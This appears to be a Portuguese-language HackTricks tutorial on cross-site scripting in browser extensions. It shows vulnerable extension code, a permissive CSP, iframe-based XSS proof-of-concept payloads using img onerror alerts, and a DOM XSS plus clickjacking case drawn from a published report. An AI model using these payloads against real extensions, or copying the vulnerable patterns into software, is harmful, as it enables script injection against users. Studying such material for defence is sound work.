mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-20 01:55:46 +00:00
123 lines
7.4 KiB
Markdown
123 lines
7.4 KiB
Markdown
|
# BrowExt - Exemplo de XSS
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
## Cross-Site Scripting (XSS) através de Iframe
|
|||
|
|
|||
|
Nesta configuração, um **script de conteúdo** é implementado para instanciar um Iframe, incorporando uma URL com parâmetros de consulta como a fonte do Iframe:
|
|||
|
```javascript
|
|||
|
chrome.storage.local.get("message", result => {
|
|||
|
let constructedURL = chrome.runtime.getURL("message.html") +
|
|||
|
"?content=" + encodeURIComponent(result.message) +
|
|||
|
"&redirect=https://example.net/details";
|
|||
|
frame.src = constructedURL;
|
|||
|
});
|
|||
|
```
|
|||
|
Uma página HTML acessível publicamente, **`message.html`**, é projetada para adicionar dinamicamente conteúdo ao corpo do documento com base nos parâmetros na URL:
|
|||
|
```javascript
|
|||
|
$(document).ready(() => {
|
|||
|
let urlParams = new URLSearchParams(window.location.search);
|
|||
|
let userContent = urlParams.get("content");
|
|||
|
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
|
|||
|
$('#detailBtn').on('click', () => {
|
|||
|
let destinationURL = urlParams.get("redirect");
|
|||
|
chrome.tabs.create({ url: destinationURL });
|
|||
|
});
|
|||
|
});
|
|||
|
```
|
|||
|
Um script malicioso é executado na página de um adversário, modificando o parâmetro `content` da fonte do Iframe para introduzir uma **carga útil XSS**. Isso é alcançado atualizando a fonte do Iframe para incluir um script prejudicial:
|
|||
|
```javascript
|
|||
|
setTimeout(() => {
|
|||
|
let targetFrame = document.querySelector("iframe").src;
|
|||
|
let baseURL = targetFrame.split('?')[0];
|
|||
|
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
|
|||
|
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
|
|||
|
|
|||
|
document.querySelector("iframe").src = maliciousURL;
|
|||
|
}, 1000);
|
|||
|
```
|
|||
|
Uma Política de Segurança de Conteúdo excessivamente permissiva, como:
|
|||
|
```json
|
|||
|
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
|
|||
|
```
|
|||
|
permite a execução de JavaScript, tornando o sistema vulnerável a ataques XSS.
|
|||
|
|
|||
|
Uma abordagem alternativa para provocar o XSS envolve a criação de um elemento Iframe e a definição de sua fonte para incluir o script prejudicial como o parâmetro `content`:
|
|||
|
```javascript
|
|||
|
let newFrame = document.createElement("iframe");
|
|||
|
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
|
|||
|
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
|
|||
|
document.body.append(newFrame);
|
|||
|
```
|
|||
|
## DOM-based XSS + ClickJacking
|
|||
|
|
|||
|
Este exemplo foi retirado do [relatório do post original](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
|
|||
|
|
|||
|
O problema central surge de uma vulnerabilidade de Cross-site Scripting (XSS) baseada em DOM localizada em **`/html/bookmarks.html`**. O JavaScript problemático, parte de **`bookmarks.js`**, é detalhado abaixo:
|
|||
|
```javascript
|
|||
|
$('#btAdd').on('click', function() {
|
|||
|
var bookmarkName = $('#txtName').val();
|
|||
|
if ($('.custom-button .label').filter(function() {
|
|||
|
return $(this).text() === bookmarkName;
|
|||
|
}).length) return false;
|
|||
|
|
|||
|
var bookmarkItem = $('<div class="custom-button">');
|
|||
|
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
|
|||
|
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
|
|||
|
bookmarkItem.attr('data-title', bookmarkName);
|
|||
|
bookmarkItem.data('timestamp', (new Date().getTime()));
|
|||
|
$('section.bookmark-container .existing-items').append(bookmarkItem);
|
|||
|
persistData();
|
|||
|
});
|
|||
|
```
|
|||
|
Este trecho busca o **valor** do campo de entrada **`txtName`** e usa **concatenação de strings para gerar HTML**, que é então anexado ao DOM usando a função `.append()` do jQuery.
|
|||
|
|
|||
|
Normalmente, a Política de Segurança de Conteúdo (CSP) da extensão do Chrome impediria tais vulnerabilidades. No entanto, devido à **relaxamento da CSP com ‘unsafe-eval’** e ao uso dos métodos de manipulação do DOM do jQuery (que empregam [`globalEval()`](https://api.jquery.com/jquery.globaleval/) para passar scripts para [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) após a inserção no DOM), a exploração ainda é possível.
|
|||
|
|
|||
|
Embora essa vulnerabilidade seja significativa, sua exploração geralmente depende da interação do usuário: visitar a página, inserir um payload XSS e ativar o botão “Adicionar”.
|
|||
|
|
|||
|
Para aumentar essa vulnerabilidade, uma vulnerabilidade secundária de **clickjacking** é explorada. O manifesto da extensão do Chrome apresenta uma política extensa de `web_accessible_resources`:
|
|||
|
```json
|
|||
|
"web_accessible_resources": [
|
|||
|
"html/bookmarks.html",
|
|||
|
"dist/*",
|
|||
|
"assets/*",
|
|||
|
"font/*",
|
|||
|
[...]
|
|||
|
],
|
|||
|
```
|
|||
|
Notavelmente, a página **`/html/bookmarks.html`** é suscetível a framing, tornando-se assim vulnerável a **clickjacking**. Essa vulnerabilidade é explorada para emoldurar a página dentro do site de um atacante, sobrepondo-a com elementos DOM para redesenhar a interface de forma enganosa. Essa manipulação leva as vítimas a interagir com a extensão subjacente involuntariamente.
|
|||
|
|
|||
|
## Referências
|
|||
|
|
|||
|
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
|||
|
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
|
|||
|
|
|||
|
{% hint style="success" %}
|
|||
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|||
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary>Support HackTricks</summary>
|
|||
|
|
|||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|||
|
|
|||
|
</details>
|
|||
|
{% endhint %}
|